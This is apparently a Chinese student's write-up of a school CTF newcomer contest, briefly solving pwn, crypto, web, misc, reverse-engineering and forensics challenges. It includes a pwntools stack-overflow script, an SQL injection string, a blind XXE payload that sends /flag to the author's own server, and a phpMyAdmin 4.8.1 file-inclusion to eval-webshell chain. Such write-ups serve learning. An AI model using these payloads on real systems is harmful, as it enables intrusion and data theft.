前言

​ 本校新人赛的write-up,因为时间匆忙写得很简陋,因为总体难度比较水,所以没啥参考价值也。。不过还是给挂上来了~~请大手子轻喷。

​ 点此链接查看所有题目内容

Linux & Pwn

  • vim

    nc连上之后是vim的编辑屏幕,很容易就能想到用:sh命令切入控制台。

  • Linux基础

    大概是。。很简单的题目?不记得了=-=

  • 瑞士军刀

    直接用pwntools往上面打一个payload: 50 * 'a' + '$'

  • 极光宝

    一番摸索之后想到存钱也许可以用负数(实际上就是给账户加钱了),尝试以后发现果然没有下界检查,直接-1000完事

  • No_more_gets1

    很简单的gets利用,可以在注册部分填写密码时覆盖到栈上的用户名内容,强行注册一个admin账号

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    from pwn import *
    import sys
    context.log_level='debug'

    if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
    else:
    sh = process("./a.out")

    payload=0x10 * 'a' + p64(0x0) + p64(0x555555555607)

    sh.recvuntil("6) Exit")
    sh.sendline("3")
    sh.recvuntil("Input your name")
    sh.sendline('father')
    sh.recvuntil('Input your password')
    sh.sendline('aaaaaaaaaaaaaaa\0admin\0')
    sh.recvuntil("6) Exit")
    sh.interactive()
  • ed

    会用ed就没问题,一开始发现后面的AmB有点奇怪,于是猜测在前缀以后是四个字符一行(正好),依次键入每一行以及命令,获得flag

  • Special_Shell

    没有什么用的过滤,使用模糊匹配/b??/?a?就能调用cat,随即输出flag文件

Crypto

  • casear

    听说出题人被锤了,顾名思义,直接用凯撒密码解,找到actf开头的,仔细观察发现数字都不正确(全都比正确的大2),修改之后获得flag

  • 矾书

    Adobe Illustrator打开(不知道为啥,其它的就是不行),然后全选(或者加一个黑底色图层),就能看到flag

  • 反切码

    稍微搜索一下,找到反切码对照表,然后发现是yao4 chi1 shuan4 yang2 rou4看来出题人挺饿的),得到flag

  • Tiny RSA

    q p m e给全了,直接r = (q-1)(p-1),然后求模反d,直接加密获得结果。

  • Broken Random

    瞅准时机,猜对seed,直接爆破,BOOM! (咳咳)

Web

  • ssh

    就是正常的ssh,直接连接到服务器上,查看flag

  • SQL Injection

    没有太多套路的SQL注入(但是貌似加了括号?),直接在用户名处') or 1=1 --,就能登入

  • XXE

    以前从来没接触过的XXE。。(现学现卖系列?),因为没有回显,所以被迫用了自己的vps,两个xml如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?xml version="1.0" encoding="UTF-8"?>  
    <!DOCTYPE ANY [
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!-- not gonna tell u my vps XDDD -->
    <!ENTITY % dtd SYSTEM "http://84.***.***.1**/exp.xml">
    %dtd;
    %all;
    %send;
    ]>
    1
    2
    3
    <!ENTITY % all
    "<!ENTITY &#x25; send SYSTEM 'http://84.***.***.1**/?%file;'>"
    >
  • HTTP闯三关

    f12工具箱跟着指示走,各种解决方案或多或少都有提示。(比如X-Forwarded-For那里的标题就是XFF

  • 点赞

    写一个可爱的小脚本~(因为找不到原来的文件了,所以这里放的是当时的截图)

    Kt!!!

    为什么不用Python?

    Maybe Next Time XDDDD

  • phpmyadmin

    稍微谷歌了一下就发现了4.8.1一个广为人知的漏洞,利用参数处理的漏洞来显示服务器的任意文件。只要形如http://host/index.php?target=db_sql.php%253f../../的形式就能访问任意文件。

    试了半天才找出了根目录的位置(找的是/etc/passwd)。然后提交了一个包含<? eval($GET('z')) ?>的sql请求,再打开当前session文件,就能用提交z参数的形式执行任意命令。此时相当于获得了shell,很容易就能用find找出flag。

Misc

  • 签到题

    真-签到题,直接交flag

  • base家族

    随便找个工具base一波,顺序是64->32->16

  • Wireshark

    用wireshark打开抓包记录,直接在某个http包的Content里就能看到flag貌似

  • wordHidden

    不想用常规方法解,直接解压之后搜二进制找到后一半flag,在文件属性里找到前一半

  • keypad

    结合Hint和前缀的数字数目,猜到是两个数字一对,代表键位-字母序,参考九键布局,获得flag

  • xor

    采取了Aggressive Approach,通过Patcher把原来的条件跳转一行修改了一下,变为

    1
    2
    3
    4
    5
    6
      400844:	0f be c0             	movsbl %al,%eax
    400847: 31 c8 xor %ecx,%eax
    400849: 39 c2 cmp %eax,%edx
    + 40084b: 75 11 jne 40085e <main+0x218>
    40084d: bf 3b 09 40 00 mov $0x40093b,%edi
    400852: e8 99 fc ff ff callq 4004f0 <puts@plt>

    然后安上gdb动态调试,把eax的内容全部记下来,组成flag

Re

  • show me the code

    运行程序以后查看代码,根据其运算方式进行逆向计算,获得flag (直接在python的repl里完成,并没有exp保留)

  • simplepacker

    显然,出题人并没有很好地加壳,直接对二进制进行搜索就能捉到flag。

  • pyre

    经过简单的推演就能发现,程序只需要用到下标为0 1 2 4 6的数字,分别为7 8 12 4 19

  • simple asm

    稍作推演就可以大致写出pseudocode

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    void func(char * str) {
    for(int i = 0 ; i <= 21 ; i ++) {
    int edx = str[i];
    edx += 7; // str[i] += 7;
    str[i] = edx;
    int ecx = str[i];
    int rdx = i;
    int eax = enstr[i];
    if(eax == edx) return 0;
    }
    return 0;
    }

    然后就是一波逆向演算。

  • Key-R

    正如其名,用IDA下的R键将二进制当作字符串查看,获得flag

Forensics

辛苦出题人(们)啦,还专门弄了台Windows 10的虚拟机。(虽然Challenge打错了)

  • Hidden

    • 显示隐藏文件
  • Visiting History

    打开浏览器历史纪录,找到flag

  • Popbox

    在控制台重定向stdout到一个文件,获得flag

  • DoNothing

    把Memory Dump一下,得到flag

  • Memory

    把Memory Dump一下,得到flag

  • WireFish

    WireShark 监听所有TCP连接,发现程序有HTTP协议收发,从报文里获得flag

  • log

    在系统监控日志里找到一个删除含flag目录名的失败尝试

  • can’t

    用rename的方式强行获得一个.flag文件,获得flag

  • png

    pngcheck发现图像尺寸有问题(校验和错误),修改文件头(0x10开始)代表高度的第二个int32,获得flag

  • jpg

    HxD查看发现有zip文件记录,故将文件格式改为zip,在图片的注释里可以找到压缩密码,获得本题的flag

  • jpg1

    解压其中的png,用pngcheck无异常,但是发现了Adobe Fireworks的文件记录(一开始觉得没什么用,后面才有人告诉我存在Adobe Fireworks这个软件。。。)。用Adobe FireworksAdobe Firearms打开,发现有一个隐藏图层,flag就藏在里面

Phishing

开学了,没时间做了 qwq